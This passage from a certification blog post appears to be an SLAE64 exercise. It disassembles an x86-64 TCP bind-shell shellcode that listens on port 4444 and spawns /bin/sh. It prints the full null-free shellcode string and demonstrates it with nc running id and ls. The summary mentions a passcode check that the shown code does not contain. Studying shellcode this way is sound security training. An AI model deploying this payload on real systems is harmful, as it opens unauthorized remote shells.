  40009c:	89 44 24 fc          	mov    DWORD PTR [rsp-0x4],eax
  4000a0:	66 c7 44 24 fa 11 5c 	mov    WORD PTR [rsp-0x6],0x5c11
  4000a7:	c6 44 24 f8 02       	mov    BYTE PTR [rsp-0x8],0x2
  4000ac:	48 83 ec 08          	sub    rsp,0x8
  4000b0:	48 83 c0 31          	add    rax,0x31
  4000b4:	48 89 e6             	mov    rsi,rsp
  4000b7:	48 31 d2             	xor    rdx,rdx
  4000ba:	48 83 c2 10          	add    rdx,0x10
  4000be:	0f 05                	syscall 
  4000c0:	48 31 c0             	xor    rax,rax
  4000c3:	48 83 c0 32          	add    rax,0x32
  4000c7:	48 31 f6             	xor    rsi,rsi
  4000ca:	48 83 c6 02          	add    rsi,0x2
  4000ce:	0f 05                	syscall 
  4000d0:	48 31 c0             	xor    rax,rax
  4000d3:	48 83 c0 2b          	add    rax,0x2b
  4000d7:	48 83 ec 10          	sub    rsp,0x10
  4000db:	48 89 e6             	mov    rsi,rsp
  4000de:	c6 44 24 ff 10       	mov    BYTE PTR [rsp-0x1],0x10
  4000e3:	48 83 ec 01          	sub    rsp,0x1
  4000e7:	48 89 e2             	mov    rdx,rsp
  4000ea:	0f 05                	syscall 
  4000ec:	49 89 c1             	mov    r9,rax
  4000ef:	48 31 c0             	xor    rax,rax
  4000f2:	48 83 c0 03          	add    rax,0x3
  4000f6:	0f 05                	syscall 
  4000f8:	4c 89 cf             	mov    rdi,r9
  4000fb:	48 31 c0             	xor    rax,rax
  4000fe:	48 83 c0 21          	add    rax,0x21
  400102:	48 31 f6             	xor    rsi,rsi
  400105:	0f 05                	syscall 
  400107:	48 31 c0             	xor    rax,rax
  40010a:	48 83 c0 21          	add    rax,0x21
  40010e:	48 31 f6             	xor    rsi,rsi
  400111:	48 83 c6 01          	add    rsi,0x1
  400115:	0f 05                	syscall 
  400117:	48 31 c0             	xor    rax,rax
  40011a:	48 83 c0 21          	add    rax,0x21
  40011e:	48 31 f6             	xor    rsi,rsi
  400121:	48 83 c6 02          	add    rsi,0x2
  400125:	0f 05                	syscall 
  400127:	48 31 c0             	xor    rax,rax
  40012a:	50                   	push   rax
  40012b:	48 bb 2f 62 69 6e 2f 	movabs rbx,0x68732f2f6e69622f
  400132:	2f 73 68 
  400135:	53                   	push   rbx
  400136:	48 89 e7             	mov    rdi,rsp
  400139:	50                   	push   rax
  40013a:	48 89 e2             	mov    rdx,rsp
  40013d:	57                   	push   rdi
  40013e:	48 89 e6             	mov    rsi,rsp
  400141:	48 83 c0 3b          	add    rax,0x3b
  400145:	0f 05                	syscall

The updated bind shellcode can be seen below in one line:

1
2
geobour98@slae64-dev:~/SLAE/custom/SLAE64/1_Shell_bind_tcp$ objdump -d ./bind-shellcode-course |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xb0\x29\x48\x31\xff\x48\x83\xc7\x02\x48\x31\xf6\x48\x83\xc6\x01\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x31\xc0\x50\x89\x44\x24\xfc\x66\xc7\x44\x24\xfa\x11\x5c\xc6\x44\x24\xf8\x02\x48\x83\xec\x08\x48\x83\xc0\x31\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2\x10\x0f\x05\x48\x31\xc0\x48\x83\xc0\x32\x48\x31\xf6\x48\x83\xc6\x02\x0f\x05\x48\x31\xc0\x48\x83\xc0\x2b\x48\x83\xec\x10\x48\x89\xe6\xc6\x44\x24\xff\x10\x48\x83\xec\x01\x48\x89\xe2\x0f\x05\x49\x89\xc1\x48\x31\xc0\x48\x83\xc0\x03\x0f\x05\x4c\x89\xcf\x48\x31\xc0\x48\x83\xc0\x21\x48\x31\xf6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\x31\xf6\x48\x83\xc6\x01\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\x31\xf6\x48\x83\xc6\x02\x0f\x05\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05"

Also, in order to prove the functionality of the bind shell we execute in one terminal window the bind executable and in another we execute nc to connect to port 4444.

1st window:

1
geobour98@slae64-dev:~/SLAE/custom/SLAE64/1_Shell_bind_tcp$ ./bind-shellcode-course

2nd window:

1
2
3
4
5
6
7
8
9
10
11
12
13
geobour98@slae64-dev:~$ nc localhost 4444
id
uid=1000(geobour98) gid=1000(geobour98) groups=1000(geobour98),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
ls
bind-c
bind-c.c
bind-shellcode-course
bind-shellcode-course.nasm
bind-shellcode-course.o
bindshell
bindshell.nasm
bindshell.o
compile.sh

Summary

We have a working TCP Bind Shell that binds on port 4444, waits for the correct passcode and if we provide the correct one, we can execute commands. Also, the nullbytes have been removed from the Bind Shellcode of the course.

Next will be the TCP Reverse Shell!

SLAE64 Blog Post

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

https://www.pentesteracademy.com/course?id=7

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: PA-36167

This post is licensed under CC BY 4.0 by the author.